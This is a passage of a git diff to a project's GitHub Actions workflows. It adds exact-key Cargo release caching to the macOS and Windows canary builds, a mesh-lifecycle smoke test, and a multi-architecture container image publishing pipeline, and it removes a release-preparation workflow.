+        uses: actions/cache/restore@caa296126883cff596d87d8935842f9db880ef25 # v5
+        with:
+          path: |
+            ~/.cargo/registry
+            ~/.cargo/git
+            target
+            desktop/src-tauri/target
+            !desktop/src-tauri/target/**/release/bundle
+          key: ${{ steps.rust_cache_key.outputs.key }}
+
+      - name: Generate non-updating bundle config
+        run: |
+          cat > desktop/src-tauri/tauri.canary.conf.json <<'JSON'
+          {"bundle":{"createUpdaterArtifacts":false,"macOS":{"minimumSystemVersion":"10.15"}}}
+          JSON
+
+      - name: Build Intel sidecars
+        run: |
+          cargo build --release --target "$TARGET" -p buzz-acp -p buzz-agent -p buzz-backend-kubernetes -p buzz-dev-mcp -p git-credential-nostr -p buzz-cli
+          ./scripts/bundle-sidecars.sh "$TARGET"
+
+      - name: Build unsigned Intel DMG
+        run: cd desktop && pnpm tauri build --verbose --no-sign --target "$TARGET" --bundles dmg --config src-tauri/tauri.canary.conf.json
+        env:
+          CMAKE_POLICY_VERSION_MINIMUM: "3.5"
+          MACOSX_DEPLOYMENT_TARGET: "10.15"
+          CMAKE_OSX_DEPLOYMENT_TARGET: "10.15"
+          TAURI_BUNDLER_DMG_IGNORE_CI: "true"
+
+      - name: Locate fresh Intel DMG
+        id: artifact
+        run: |
+          DMG=$(find "desktop/src-tauri/target/${TARGET}/release/bundle/dmg" -name '*.dmg' -type f | head -1)
+          [[ -n "$DMG" ]] || { echo "::error::No Intel DMG found"; exit 1; }
+          echo "dmg=$DMG" >> "$GITHUB_OUTPUT"
+
+      - name: Upload Intel canary
+        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7
+        with:
+          name: buzz-macos-intel-canary-${{ github.sha }}
+          path: ${{ steps.artifact.outputs.dmg }}
+          if-no-files-found: error
+          retention-days: 7
+
+      - name: Measure release Cargo cache inputs
+        if: always()
+        run: du -sh ~/.cargo/registry ~/.cargo/git target desktop/src-tauri/target 2>/dev/null || true
+
+      - name: Save exact release Cargo cache
+        if: steps.rust_cache.outputs.cache-hit != 'true'
+        uses: actions/cache/save@caa296126883cff596d87d8935842f9db880ef25 # v5
+        with:
+          path: |
+            ~/.cargo/registry
+            ~/.cargo/git
+            target
+            desktop/src-tauri/target
+            !desktop/src-tauri/target/**/release/bundle
+          key: ${{ steps.rust_cache_key.outputs.key }}
diff --git a/.github/workflows/mesh-lifecycle.yml b/.github/workflows/mesh-lifecycle.yml
new file mode 100644
index 0000000000..4780083ba4
--- /dev/null
+++ b/.github/workflows/mesh-lifecycle.yml
@@ -0,0 +1,111 @@
+name: Mesh Lifecycle
+# Relay-driven mesh lifecycle smoke: membership → signed discovery notes →
+# relay-derived allowlist → join → CPU inference over QUIC → stranger denied
+# (relay membership rejection + no routed inference, with a differential
+# trusted-inference health proof so a dead serve node can't fake a denial).
+# Runs the full Buzz "shared compute" join story with three real mesh-llm
+# node processes on one runner, using the Buzz relay as the control plane
+# (no hand-carried invite tokens). Mirrors the shape mesh-llm's own CI uses
+# for its two-node smokes (tiny CPU model, one runner, real QUIC mesh).
+
+on:
+  push:
+    branches: [main]
+    paths:
+      - 'crates/buzz-relay/examples/mesh_*.rs'
+      - 'crates/buzz-relay/Cargo.toml'
+      - 'crates/buzz-admin/**'
+      - 'crates/buzz-test-client/**'
+      - 'crates/buzz-ws-client/**'
+      - 'Cargo.lock'
+      - 'desktop/src-tauri/src/mesh_llm/**'
+      - 'scripts/ci-mesh-lifecycle-smoke.sh'
+      - 'scripts/start-relay-for-tests.sh'
+      - '.github/workflows/mesh-lifecycle.yml'
+  pull_request:
+    paths:
+      - 'crates/buzz-relay/examples/mesh_*.rs'
+      - 'crates/buzz-relay/Cargo.toml'
+      - 'crates/buzz-admin/**'
+      - 'crates/buzz-test-client/**'
+      - 'crates/buzz-ws-client/**'
+      - 'Cargo.lock'
+      - 'desktop/src-tauri/src/mesh_llm/**'
+      - 'scripts/ci-mesh-lifecycle-smoke.sh'
+      - 'scripts/start-relay-for-tests.sh'
+      - '.github/workflows/mesh-lifecycle.yml'
+  workflow_dispatch:
+
+concurrency:
+  group: mesh-lifecycle-${{ github.event_name == 'pull_request' && github.ref || github.sha }}
+  cancel-in-progress: ${{ github.event_name == 'pull_request' }}
+
+env:
+  CARGO_TERM_COLOR: always
+
+jobs:
+  lifecycle-smoke:
+    name: Relay-Driven Mesh Lifecycle Smoke
+    runs-on: ubuntu-24.04
+    timeout-minutes: 45
+    permissions:
+      contents: read
+    steps:
+      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3
+
+      - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1
+
+      - uses: Swatinem/rust-cache@e18b497796c12c097a38f9edb9d0641fb99eee32 # v2
+        with:
+          save-if: ${{ github.event_name != 'pull_request' }}
+
+      # The mesh-llm SDK downloads a signed native runtime (llama.cpp CPU
+      # build) on first init, and the serve node downloads the smoke model
+      # from HuggingFace on first run. Key on the lockfile so a mesh pin bump
+      # rolls the runtime cache; the model ref is stable.
+      - name: Restore mesh runtime + model caches
+        id: mesh-caches
+        uses: actions/cache/restore@caa296126883cff596d87d8935842f9db880ef25 # v5
+        with:
+          path: |
+            ~/.cache/mesh-llm/native-runtimes
+            ~/.cache/huggingface/hub
+          key: mesh-lifecycle-${{ runner.os }}-smollm2-135m-${{ hashFiles('Cargo.lock') }}
+          restore-keys: |
+            mesh-lifecycle-${{ runner.os }}-smollm2-135m-
+
+      - name: Start integration services
+        run: |
+          for attempt in 1 2 3; do
+            if docker compose up -d postgres redis minio minio-init; then
+              break
+            fi
+            if [ "$attempt" -eq 3 ]; then
+              echo "docker compose up failed after 3 attempts" >&2
+              exit 1
+            fi
+            echo "docker compose up failed (attempt $attempt), retrying in $((attempt * 5))s..." >&2
+            sleep $((attempt * 5))
+          done
+
+      - name: Run relay-driven mesh lifecycle smoke
+        run: ./scripts/ci-mesh-lifecycle-smoke.sh 2>&1 | tee /tmp/mesh-lifecycle-harness.log
+
+      - name: Save mesh runtime + model caches
+        if: github.ref == 'refs/heads/main' && steps.mesh-caches.outputs.cache-hit != 'true'
+        uses: actions/cache/save@caa296126883cff596d87d8935842f9db880ef25 # v5
+        with:
+          path: |
+            ~/.cache/mesh-llm/native-runtimes
+            ~/.cache/huggingface/hub
+          key: mesh-lifecycle-${{ runner.os }}-smollm2-135m-${{ hashFiles('Cargo.lock') }}
+
+      - name: Upload relay + harness logs
+        if: failure()
+        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7
+        with:
+          name: mesh-lifecycle-logs
+          path: |
+            /tmp/buzz-relay.log
+            /tmp/mesh-lifecycle-harness.log
+          if-no-files-found: ignore
diff --git a/.github/workflows/prepare-desktop-release.yml b/.github/workflows/prepare-desktop-release.yml
deleted file mode 100644
index 7cc480b93b..0000000000
--- a/.github/workflows/prepare-desktop-release.yml
+++ /dev/null
@@ -1,38 +0,0 @@
-name: Prepare Desktop Release
-
-on:
-  workflow_dispatch:
-    inputs:
-      version:
-        description: Semver to prepare (for example 0.5.1)
-        required: true
-
-env:
-  RELEASE_AUTOMATION_NAME: Carl
-  RELEASE_AUTOMATION_EMAIL: c7ebe626f000404285d3686e1dc74cc07cc60a9754a150041ba132e14bd3e2ec@buzz.block.builderlab.xyz
-
-jobs:
-  prepare:
-    if: github.repository == 'block/buzz'
-    runs-on: ubuntu-latest
-    permissions:
-      contents: read
-    steps:
-      - name: Create short-lived release preparer token
-        id: preparer
-        uses: actions/create-github-app-token@bcd2ba49218906704ab6c1aa796996da409d3eb1 # v3.2.0
-        with:
-          client-id: ${{ vars.BUZZ_RELEASE_TAGGER_CLIENT_ID }}
-          private-key: ${{ secrets.BUZZ_RELEASE_TAGGER_PRIVATE_KEY }}
-          permission-contents: write
-          permission-pull-requests: write
-      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3
-        with:
-          fetch-depth: 0
-          token: ${{ steps.preparer.outputs.token }}
-      - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1
-      - name: Prepare immutable candidate and open or update PR
-        env:
-          GH_TOKEN: ${{ steps.preparer.outputs.token }}
-          VERSION: ${{ inputs.version }}
-        run: scripts/prepare-desktop-release.sh "$VERSION"
diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml
index 07951ef81d..9da067b74e 100644
--- a/.github/workflows/release.yml
+++ b/.github/workflows/release.yml
@@ -36,7 +36,7 @@ jobs:
             exit 1
           fi
 
-      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6
+      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3
         with:
           fetch-depth: 0
           persist-credentials: false
@@ -64,7 +64,7 @@ jobs:
     env:
       VERSION: ${{ needs.setup.outputs.version }}
     steps:
-      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6
+      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3
         with:
           ref: ${{ needs.setup.outputs.source_sha }}
           fetch-depth: 0
@@ -91,7 +91,7 @@ jobs:
 
       - name: Build sidecars
         run: |
-          cargo build --release -p buzz-acp -p buzz-agent -p buzz-dev-mcp -p git-credential-nostr -p buzz-cli
+          cargo build --release -p buzz-acp -p buzz-agent -p buzz-backend-kubernetes -p buzz-dev-mcp -p git-credential-nostr -p buzz-cli
           ./scripts/bundle-sidecars.sh
 
       # Mesh rev derived from Cargo.lock (no lockstep edit on dep bump); cache key tracks it.
@@ -278,7 +278,7 @@ jobs:
       VERSION: ${{ needs.setup.outputs.version }}
       TARGET: x86_64-apple-darwin
     steps:
-      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6
+      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3
         with:
           ref: ${{ needs.setup.outputs.source_sha }}
           fetch-depth: 0
@@ -308,7 +308,7 @@ jobs:
 
       - name: Build sidecars
         run: |
-          cargo build --release --target "$TARGET" -p buzz-acp -p buzz-agent -p buzz-dev-mcp -p git-credential-nostr -p buzz-cli
+          cargo build --release --target "$TARGET" -p buzz-acp -p buzz-agent -p buzz-backend-kubernetes -p buzz-dev-mcp -p git-credential-nostr -p buzz-cli
           ./scripts/bundle-sidecars.sh "$TARGET"
 
       - name: Build unsigned Tauri app
@@ -495,7 +495,7 @@ jobs:
           apt-get update
           apt-get install -y --no-install-recommends gh
 
-      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6
+      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3
         with:
           ref: ${{ needs.setup.outputs.source_sha }}
           fetch-depth: 0
@@ -563,7 +563,7 @@ jobs:
 
       - name: Build sidecars
         run: |
-          cargo build --release -p buzz-acp -p buzz-agent -p buzz-dev-mcp -p git-credential-nostr -p buzz-cli
+          cargo build --release -p buzz-acp -p buzz-agent -p buzz-backend-kubernetes -p buzz-dev-mcp -p git-credential-nostr -p buzz-cli
           ./scripts/bundle-sidecars.sh
 
       - name: Generate release config
@@ -573,7 +573,7 @@ jobs:
           BUZZ_UPDATER_ENDPOINT: https://github.com/block/buzz/releases/download/buzz-desktop-latest/latest.json
 
       - name: Build Linux Tauri app
-        run: cd desktop && pnpm tauri build --verbose --ci --bundles deb,appimage --config src-tauri/tauri.release.conf.json
+        run: cd desktop && pnpm tauri build --verbose --ci --bundles deb,appimage --features mesh-llm --config src-tauri/tauri.release.conf.json
         env:
           BUZZ_UPDATER_PUBLIC_KEY: ${{ secrets.BUZZ_UPDATER_PUBLIC_KEY || secrets.SPROUT_UPDATER_PUBLIC_KEY }}
           BUZZ_UPDATER_ENDPOINT: https://github.com/block/buzz/releases/download/buzz-desktop-latest/latest.json
@@ -666,7 +666,7 @@ jobs:
       VERSION: ${{ needs.setup.outputs.version }}
       TARGET: x86_64-pc-windows-msvc
     steps:
-      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6
+      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3
         with:
           ref: ${{ needs.setup.outputs.source_sha }}
           fetch-depth: 0
@@ -795,7 +795,7 @@ jobs:
       VERSION: ${{ needs.setup.outputs.version }}
       GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
     steps:
-      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6
+      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3
         with:
           ref: ${{ needs.setup.outputs.source_sha }}
           fetch-depth: 0
@@ -948,5 +948,5 @@ jobs:
         run: gh release edit "desktop-v${VERSION}" --draft=false
 
       - name: Upload latest.json to rolling release last
-        if: ${{ env.already_published != 'true' && !contains(needs.setup.outputs.version, '-') }}
+        if: ${{ !contains(needs.setup.outputs.version, '-') }}
         run: gh release upload buzz-desktop-latest latest.json --clobber
diff --git a/.github/workflows/signed-macos-canary.yml b/.github/workflows/signed-macos-canary.yml
index fb0656028a..5957f4785d 100644
--- a/.github/workflows/signed-macos-canary.yml
+++ b/.github/workflows/signed-macos-canary.yml
@@ -34,16 +34,6 @@ jobs:
 
       - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1
 
-      # Rust cache covering both the workspace sidecar build and the Tauri
-      # crate build. shared-key scoped to macos-canary-release so canary runs
-      # warm each other without colliding with CI's debug-profile keys.
-      - uses: Swatinem/rust-cache@e18b497796c12c097a38f9edb9d0641fb99eee32 # v2
-        with:
-          workspaces: |
-            .
-            desktop/src-tauri
-          shared-key: macos-canary-release
-
       - name: Get pnpm store directory
         id: pnpm-cache
         run: echo "STORE_PATH=$(pnpm store path --silent)" >> "$GITHUB_OUTPUT"
@@ -78,6 +68,38 @@ jobs:
           cd desktop && node scripts/set-version-from-tag.mjs "$VERSION"
           cd src-tauri && cargo update --workspace
 
+      - name: Resolve native toolchain identity
+        id: native_toolchain
+        run: echo "id=$(scripts/desktop-native-toolchain-id.sh macos)" >> "$GITHUB_OUTPUT"
+
+      # Compute this after cargo update so the key describes the graph that is
+      # actually compiled. The helper normalizes only Buzz Desktop's release
+      # version, allowing a canary to warm an otherwise identical tag build.
+      - name: Compute exact release cache key
+        id: rust_cache_key
+        env:
+          NATIVE_TOOLCHAIN_ID: ${{ steps.native_toolchain.outputs.id }}
+        run: |
+          KEY=$(scripts/desktop-release-cache-key.py \
+            --platform "$RUNNER_OS" \
+            --target aarch64-apple-darwin \
+            --features mesh-llm \
+            --native-inputs "$NATIVE_TOOLCHAIN_ID")
+          echo "key=$KEY" >> "$GITHUB_OUTPUT"
+          echo "Release cache key: $KEY"
+
+      - name: Restore exact release Cargo cache
+        id: rust_cache
+        uses: actions/cache/restore@caa296126883cff596d87d8935842f9db880ef25 # v5
+        with:
+          path: |
+            ~/.cargo/registry
+            ~/.cargo/git
+            target
+            desktop/src-tauri/target
+            !desktop/src-tauri/target/**/release/bundle
+          key: ${{ steps.rust_cache_key.outputs.key }}
+
       - name: Generate non-updating bundle config
         run: |
           cat > desktop/src-tauri/tauri.canary.conf.json <<'JSON'
@@ -93,7 +115,7 @@ jobs:
 
       - name: Build sidecars
         run: |
-          cargo build --release -p buzz-acp -p buzz-agent -p buzz-dev-mcp -p git-credential-nostr -p buzz-cli
+          cargo build --release -p buzz-acp -p buzz-agent -p buzz-backend-kubernetes -p buzz-dev-mcp -p git-credential-nostr -p buzz-cli
           ./scripts/bundle-sidecars.sh
 
       # Mesh rev derived from Cargo.lock (no lockstep edit on dep bump); cache key tracks it.
@@ -210,6 +232,24 @@ jobs:
           if-no-files-found: error
           retention-days: 7
 
+      - name: Measure release Cargo cache inputs
+        if: always()
+        run: du -sh ~/.cargo/registry ~/.cargo/git target desktop/src-tauri/target 2>/dev/null || true
+
+      # Only this trusted, main-bound canary writes the cache. Excluding bundle
+      # output prevents installers or signed artifacts from entering it.
+      - name: Save exact release Cargo cache
+        if: steps.rust_cache.outputs.cache-hit != 'true'
+        uses: actions/cache/save@caa296126883cff596d87d8935842f9db880ef25 # v5
+        with:
+          path: |
+            ~/.cargo/registry
+            ~/.cargo/git
+            target
+            desktop/src-tauri/target
+            !desktop/src-tauri/target/**/release/bundle
+          key: ${{ steps.rust_cache_key.outputs.key }}
+
       - name: Save pnpm store cache
         uses: actions/cache/save@caa296126883cff596d87d8935842f9db880ef25 # v5
         with:
diff --git a/.github/workflows/sprig-image.yml b/.github/workflows/sprig-image.yml
new file mode 100644
index 0000000000..d40aed2a22
--- /dev/null
+++ b/.github/workflows/sprig-image.yml
@@ -0,0 +1,238 @@
+name: Sprig image
+
+# Builds and publishes the public agent container image as
+# ghcr.io/<repo owner>/buzz-sprig (override with the GHCR_SPRIG_IMAGE repo
+# variable) — the digest-pinned box the Kubernetes backend deploys agents into
+# (see Dockerfile.sprig and docs/remote-agents.md).
+#
+# Strategy mirrors docker.yml (the relay image): each architecture builds on
+# its native runner, pushes to GHCR by digest, then a merge job stitches the
+# per-arch digests into one multi-arch manifest and attests provenance.
+# No QEMU emulation.
+#
+# Triggers:
+#   - push to main (paths-filtered) → :main + :sha-<7>
+#   - tag sprig-v*                  → semver family (shared with sprig.yml's
+#                                     binary release — one tag versions both)
+#   - pull_request (paths-filtered) → build only, no push
+#   - workflow_dispatch             → manual publish at the current ref
+#
+# NOTE: the first push creates the GHCR package PRIVATE by default. An org
+# admin must flip that package to public once (Package settings → Change
+# visibility). Subsequent pushes keep the visibility.
+
+on:
+  push:
+    branches: [main]
+    tags: ["sprig-v[0-9]*"]
+    paths:
+      - "Dockerfile.sprig"
+      - "scripts/sprig-entrypoint.sh"
+      - ".github/workflows/sprig-image.yml"
+      - "Cargo.toml"
+      - "Cargo.lock"
+      - "rust-toolchain.toml"
+      - "crates/**"
+  pull_request:
+    paths:
+      - "Dockerfile.sprig"
+      - "scripts/sprig-entrypoint.sh"
+      - ".github/workflows/sprig-image.yml"
+  workflow_dispatch: {}
+
+concurrency:
+  group: sprig-image-${{ github.ref }}
+  cancel-in-progress: ${{ github.ref_type == 'branch' && github.event_name == 'pull_request' }}
+
+permissions: {}
+
+env:
+  # Single source of truth for the image name; override with the
+  # GHCR_SPRIG_IMAGE repo variable (same pattern as docker.yml). Forks publish
+  # to their own GHCR namespace — nobody but block can push to block's.
+  IMAGE_NAME: ${{ vars.GHCR_SPRIG_IMAGE != '' && vars.GHCR_SPRIG_IMAGE || format('ghcr.io/{0}/buzz-sprig', github.repository_owner) }}
+
+jobs:
+  build:
+    name: Build (${{ matrix.platform }})
+    runs-on: ${{ matrix.runner }}
+    timeout-minutes: 60
+    permissions:
+      contents: read
+      packages: write
+      id-token: write
+      attestations: write
+    strategy:
+      fail-fast: false
+      matrix:
+        include:
+          - platform: linux/amd64
+            runner: ubuntu-24.04
+            arch: amd64
+          - platform: linux/arm64
+            runner: ubuntu-24.04-arm
+            arch: arm64
+
+    steps:
+      - name: Checkout
+        uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10  # v6.0.3
+        with:
+          persist-credentials: false
+
+      - name: Set up Docker Buildx
+        uses: docker/setup-buildx-action@d7f5e7f509e45cec5c76c4d5afdd7de93d0b3df5  # v4.1.0
+        with:
+          # Same OOM cap as docker.yml — Rust compiles blow the 7GB runner
+          # at buildkit's default parallelism of 4.
+          buildkitd-config-inline: |
+            [worker.oci]
+              max-parallelism = 2
+
+      - name: Log in to GHCR
+        # Pull requests are build-only and never receive registry credentials:
+        # in a fork, GITHUB_TOKEN is read-only even for a same-repo PR, so
+        # logging in there fails the job with `ghcr.io/v2/: denied`.
+        if: github.event_name != 'pull_request'
+        uses: docker/login-action@650006c6eb7dba73a995cc03b0b2d7f5ca915bee  # v4.2.0
+        with:
+          registry: ghcr.io
+          username: ${{ github.repository_owner }}
+          password: ${{ secrets.GITHUB_TOKEN }}
+
+      - name: Extract metadata
+        id: meta
+        uses: docker/metadata-action@80c7e94dd9b9319bd5eb7a0e0fe9291e23a2a2e9  # v6.1.0
+        with:
+          images: ${{ env.IMAGE_NAME }}
+          # match=^sprig-v(.*)$ strips the tag prefix for the semver parser,
+          # exactly as docker.yml does for relay-v. :latest comes from
+          # flavor.latest=auto — stable semver only, never main pushes.
+          tags: |
+            type=ref,event=branch
+            type=sha,prefix=sha-,format=short
+            type=semver,pattern={{version}},match=^sprig-v(.*)$
+            type=semver,pattern={{major}}.{{minor}},match=^sprig-v(.*)$
+          labels: |
+            org.opencontainers.image.title=Buzz Sprig
+            org.opencontainers.image.description=Agent runtime image for Buzz remote agents (buzz-acp multicall + git + curl)
+            org.opencontainers.image.licenses=Apache-2.0
+
+      - name: Build and push by digest
+        id: build
+        uses: docker/build-push-action@f9f3042f7e2789586610d6e8b85c8f03e5195baf  # v7.2.0
+        with:
+          context: .
+          file: ./Dockerfile.sprig
+          platforms: ${{ matrix.platform }}
+          labels: ${{ steps.meta.outputs.labels }}
+          outputs: type=image,name=${{ env.IMAGE_NAME }},push-by-digest=true,name-canonical=true,push=${{ github.event_name != 'pull_request' }}
+          cache-from: |
+            type=registry,ref=${{ env.IMAGE_NAME }}-buildcache:${{ matrix.arch }}
+          cache-to: |
+            ${{ github.event_name != 'pull_request' && format('type=registry,ref={0}-buildcache:{1},mode=max,compression=zstd', env.IMAGE_NAME, matrix.arch) || '' }}
+
+      - name: Export digest
+        if: github.event_name != 'pull_request'
+        env:
+          DIGEST: ${{ steps.build.outputs.digest }}
+        run: |
+          mkdir -p /tmp/digests
+          touch "/tmp/digests/${DIGEST#sha256:}"
+
+      - name: Upload digest
+        if: github.event_name != 'pull_request'
+        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a  # v7.0.1
+        with:
+          name: sprig-digest-${{ matrix.arch }}
+          path: /tmp/digests/*
+          if-no-files-found: error
+          retention-days: 1
+
+  merge:
+    name: Merge multi-arch manifest
+    if: github.event_name != 'pull_request'
+    runs-on: ubuntu-24.04
+    needs: build
+    timeout-minutes: 15
+    permissions:
+      contents: read
+      packages: write
+      id-token: write
+      attestations: write
+
+    steps:
+      - name: Download per-arch digests
+        uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c  # v8.0.1
+        with:
+          path: /tmp/digests
+          pattern: sprig-digest-*
+          merge-multiple: true
+
+      - name: Set up Docker Buildx
+        uses: docker/setup-buildx-action@d7f5e7f509e45cec5c76c4d5afdd7de93d0b3df5  # v4.1.0
+
+      - name: Log in to GHCR
+        uses: docker/login-action@650006c6eb7dba73a995cc03b0b2d7f5ca915bee  # v4.2.0
+        with:
+          registry: ghcr.io
+          username: ${{ github.repository_owner }}
+          password: ${{ secrets.GITHUB_TOKEN }}
+
+      - name: Extract metadata
+        id: meta
+        uses: docker/metadata-action@80c7e94dd9b9319bd5eb7a0e0fe9291e23a2a2e9  # v6.1.0
+        with:
+          images: ${{ env.IMAGE_NAME }}
+          # Must mirror the build job's tag matrix exactly (see docker.yml).
+          flavor: |
+            latest=auto
+          tags: |
+            type=ref,event=branch
+            type=sha,prefix=sha-,format=short
+            type=semver,pattern={{version}},match=^sprig-v(.*)$
+            type=semver,pattern={{major}}.{{minor}},match=^sprig-v(.*)$
+
+      - name: Create and push manifest list
+        id: manifest
+        working-directory: /tmp/digests
+        env:
+          IMAGE_NAME: ${{ env.IMAGE_NAME }}
+          META_TAGS: ${{ steps.meta.outputs.tags }}
+        run: |
+          set -euo pipefail
+          tags=()
+          while IFS= read -r tag; do
+            [ -n "$tag" ] && tags+=("-t" "$tag")
+          done <<< "$META_TAGS"
+
+          digests=()
+          for digest in *; do
+            digests+=("${IMAGE_NAME}@sha256:${digest}")
+          done
+
+          docker buildx imagetools create "${tags[@]}" "${digests[@]}"
+
+          first_tag=$(echo "$META_TAGS" | head -n1)
+          merged_digest=$(docker buildx imagetools inspect "$first_tag" \
+            --format '{{json .Manifest}}' | jq -r '.digest')
+          echo "digest=${merged_digest}" >> "$GITHUB_OUTPUT"
+
+      - name: Attest provenance for the merged image
+        # Verify with: gh attestation verify oci://$IMAGE_NAME:<tag> --owner <repo owner>
+        uses: actions/attest-build-provenance@0f67c3f4856b2e3261c31976d6725780e5e4c373  # v4.1.1
+        with:
+          subject-name: ${{ env.IMAGE_NAME }}
+          subject-digest: ${{ steps.manifest.outputs.digest }}
+          push-to-registry: true
+
+      - name: Summary
+        env:
+          IMAGE_NAME: ${{ env.IMAGE_NAME }}
+          DIGEST: ${{ steps.manifest.outputs.digest }}
+        run: |
+          {
+            echo "### Sprig image published"
+            echo '```'
+            echo "${IMAGE_NAME}@${DIGEST}"
+            echo '```'
+          } >> "$GITHUB_STEP_SUMMARY"
diff --git a/.github/workflows/sprig.yml b/.github/workflows/sprig.yml
index d80e79d059..f89d5c4207 100644
--- a/.github/workflows/sprig.yml
+++ b/.github/workflows/sprig.yml
@@ -42,7 +42,7 @@ jobs:
           - x86_64-unknown-linux-musl
           - aarch64-unknown-linux-musl
     steps:
-      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6
+      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3
 
       - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1
 
@@ -119,7 +119,7 @@ jobs:
     permissions:
       contents: write
     steps:
-      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6
+      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3
 
       - name: Download all Sprig artifacts
         uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1
@@ -275,7 +275,7 @@ jobs:
     permissions:
       contents: write
     steps:
-      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6
+      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3
 
       - name: Download all Sprig artifacts
         uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1
diff --git a/.github/workflows/windows-canary.yml b/.github/workflows/windows-canary.yml
index 29f74fa0f6..7093efd2dc 100644
--- a/.github/workflows/windows-canary.yml
+++ b/.github/workflows/windows-canary.yml
@@ -46,24 +46,9 @@ jobs:
         shell: bash
         run: rustup target add "$TARGET"
 
-      # Rust cache covering both the workspace sidecar build and the Tauri
-      # crate build. shared-key scoped to windows-canary-release so canary
-      # runs warm each other without colliding with CI's debug-profile key
-      # (CI windows job does clippy/check, not --release).
-      - uses: Swatinem/rust-cache@e18b497796c12c097a38f9edb9d0641fb99eee32 # v2
-        with:
-          workspaces: |
-            .
-            desktop/src-tauri
-          shared-key: windows-canary-release
-
       - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
         with:
           node-version: 24.14.1
-          # Disable setup-node's built-in cache: we manage the pnpm store cache
-          # explicitly below (restore before install, save after) to mirror the
-          # pattern used by ci.yml and to keep caching logic consistent across
-          # all three canary workflows.
           package-manager-cache: false
 
       - uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0
@@ -108,6 +93,40 @@ jobs:
           cd desktop && node scripts/set-version-from-tag.mjs "$VERSION"
           cd src-tauri && cargo update --workspace
 
+      - name: Resolve native toolchain identity
+        id: native_toolchain
+        shell: bash
+        run: echo "id=$(scripts/desktop-native-toolchain-id.sh windows)" >> "$GITHUB_OUTPUT"
+
+      # Compute this after cargo update so the key describes the graph that is
+      # actually compiled. The helper normalizes only Buzz Desktop's release
+      # version, allowing a canary to warm an otherwise identical tag build.
+      - name: Compute exact release cache key
+        id: rust_cache_key
+        shell: bash
+        env:
+          NATIVE_TOOLCHAIN_ID: ${{ steps.native_toolchain.outputs.id }}
+        run: |
+          KEY=$(scripts/desktop-release-cache-key.py \
+            --platform "$RUNNER_OS" \
+            --target x86_64-pc-windows-msvc \
+            --features default \
+            --native-inputs "$NATIVE_TOOLCHAIN_ID")
+          echo "key=$KEY" >> "$GITHUB_OUTPUT"
+          echo "Release cache key: $KEY"
+
+      - name: Restore exact release Cargo cache
+        id: rust_cache
+        uses: actions/cache/restore@caa296126883cff596d87d8935842f9db880ef25 # v5
+        with:
+          path: |
+            ~/.cargo/registry
+            ~/.cargo/git
+            target
+            desktop/src-tauri/target
+            !desktop/src-tauri/target/**/release/bundle
+          key: ${{ steps.rust_cache_key.outputs.key }}
+
       - name: Generate non-updating bundle config
         shell: bash
         run: |
@@ -152,6 +171,25 @@ jobs:
           if-no-files-found: error
           retention-days: 7
 
+      - name: Measure release Cargo cache inputs
+        if: always()
+        shell: bash
+        run: du -sh ~/.cargo/registry ~/.cargo/git target desktop/src-tauri/target 2>/dev/null || true
+
+      # Only this trusted, main-bound canary writes the cache. Excluding bundle
+      # output prevents installers from entering it.
+      - name: Save exact release Cargo cache
+        if: steps.rust_cache.outputs.cache-hit != 'true'
+        uses: actions/cache/save@caa296126883cff596d87d8935842f9db880ef25 # v5
+        with:
+          path: |
+            ~/.cargo/registry
+            ~/.cargo/git
+            target
+            desktop/src-tauri/target
+            !desktop/src-tauri/target/**/release/bundle
+          key: ${{ steps.rust_cache_key.outputs.key }}
+
       - name: Save pnpm store cache
         uses: actions/cache/save@caa296126883cff596d87d8935842f9db880ef25 # v5
         with:
diff --git a/.gitignore b/.gitignore
index 65ddcaf1c4..f26e74136c 100644
--- a/.gitignore
+++ b/.gitignore
@@ -3,6 +3,10 @@
 /dist/
 /admin-web/dist/
 
+# Python cache
+__pycache__/
+*.pyc
+
 # lefthook-generated hook scripts (machine-specific)
 .hooks/
 
